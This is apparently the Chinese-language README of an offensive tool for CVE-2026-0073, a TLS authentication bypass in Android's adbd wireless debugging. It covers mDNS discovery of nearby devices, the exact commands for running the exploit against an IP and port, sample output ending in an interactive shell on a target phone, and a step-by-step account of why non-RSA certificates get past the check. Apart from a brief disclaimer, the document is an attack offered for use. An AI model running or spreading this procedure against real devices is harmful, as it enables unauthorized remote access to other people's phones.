一个自动化的网络扫描与利用工具,针对 CVE-2026-0073——Android 调试桥守护进程 (adbd) 中的漏洞,该漏洞允许通过无线调试实现未授权的远程代码执行 (RCE) 及交互式 shell 访问。
此工具专门针对现代 Android 设备(Android 13+)进行了优化,具备 mDNS 自动发现功能,可定位随机化的 ADB 端口,并提供 完全交互式的原始 PTY shell。
🚨 漏洞概要(Android 安全公告)
CVE ID: CVE-2026-0073
Android 问题 ID: A-469080888
影响: RCE(远程代码执行)
严重性: 严重
官方受影响版本: Android 14、15、16、16-qpr2……部分声称某些 Android 13 设备也受影响
⚠️ 免责声明: 此工具仅供教育和授权的安全研究目的使用。请勿用于你未拥有或未获得明确测试许可的网络或设备。
现代 Android 设备在无线调试中使用 TLS 双向认证来防止未授权连接。然而,CVE-2026-0073 暴露了一个加密缺陷:当 adbd 处理使用非 RSA 密钥(例如椭圆曲线 ec 或 ed25519)的客户端证书时,内部的 OpenSSL EVP_PKEY_cmp 函数会返回一个未被正确处理的错误码,从而完全绕过认证检查。
关于此漏洞的深入技术分析,请参阅以下资源:
关于设备受影响的说明: 虽然此漏洞通常记录于特定 Android 版本,但实际测试在不同 OEM 实现中显示出了令人惊讶的结果。正如 Mobile Hacker 博客作者所述: "在测试过程中,出于某种原因,我竟然也能利用 Android 13,具体见图 1。特别是 Oppo Reno5 Z。"
PATH 中已安装 OpenSSL 并可用。zeroconf Python 库(用于网络扫描)。# 安装所需的 Python 包
pip install zeroconf
直接运行脚本,无需任何参数。它将在本地网络侦听 4 秒,捕获启用无线调试的 Android 设备的 mDNS 广播,并向你显示一个菜单。
python3 adb_tls_exploit.py
示例输出:
[*] Scanning local network for Android 13+ devices for 4 seconds...
[+] Found active Android devices:
[1] 192.168.1.15 : 43881 | Pixel 7
[2] 192.168.1.42 : 39105 | Oppo Reno5 Z
Select a device to target [1-2]: 2
============================================================
ADB TLS Auth Bypass -> Interactive Shell
============================================================
[*] Target : 192.168.1.42:39105
[*] Key type : ec
[*] Generating ec self-signed certificate via openssl...
[+] Server requested STLS. Upgrading to TLS...
[+] TLS handshake accepted — mutual authentication bypassed!
[*] Authenticated! Opening interactive shell service...
[+] Shell obtained! (Press Ctrl+D to exit)
Reno5Z:/ $ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb)...
如果你已知目标 IP 和随机端口(或者你正在攻击一个已打补丁但仍需 TLS 的旧版设备,端口为 5555),可以绕过扫描器:
python3 adb_tls_exploit.py <IP_ADDRESS> <PORT> [--key ec|ed25519] [--verbose]
# 示例
python3 adb_tls_exploit.py 192.168.1.50 42069 --key ec
zeroconf 库被动侦听 _adb-tls-connect._tcp.local. 服务。这使得它能够即时映射目标,无需嘈杂或缓慢的 TCP 端口扫描。CNXN 数据包,宣告支持 TLS(tls_auth)。STLS 响应,要求建立安全连接。ec)或 ed25519 密钥呈现一个即时生成的自签名证书。adbd 尝试验证密钥。由于密钥不是 RSA,EVP_PKEY_cmp 返回 -1 或 -2。Android 内部的漏洞代码错误地将此非零返回值解释为成功的加密匹配。shell\x00 的 OPEN 数据包,并将标准输入/输出流连接到你的终端,从而为你提供一个完整的非特权 shell()。/data/misc/adb/adb_keys 文件完全为空。利用需要密钥库中至少存在一个已有的(即使是无关的)密钥,才能触发错误的循环比较。apt install openssl、brew install openssl,或通过 Windows 二进制文件安装)。uid=2000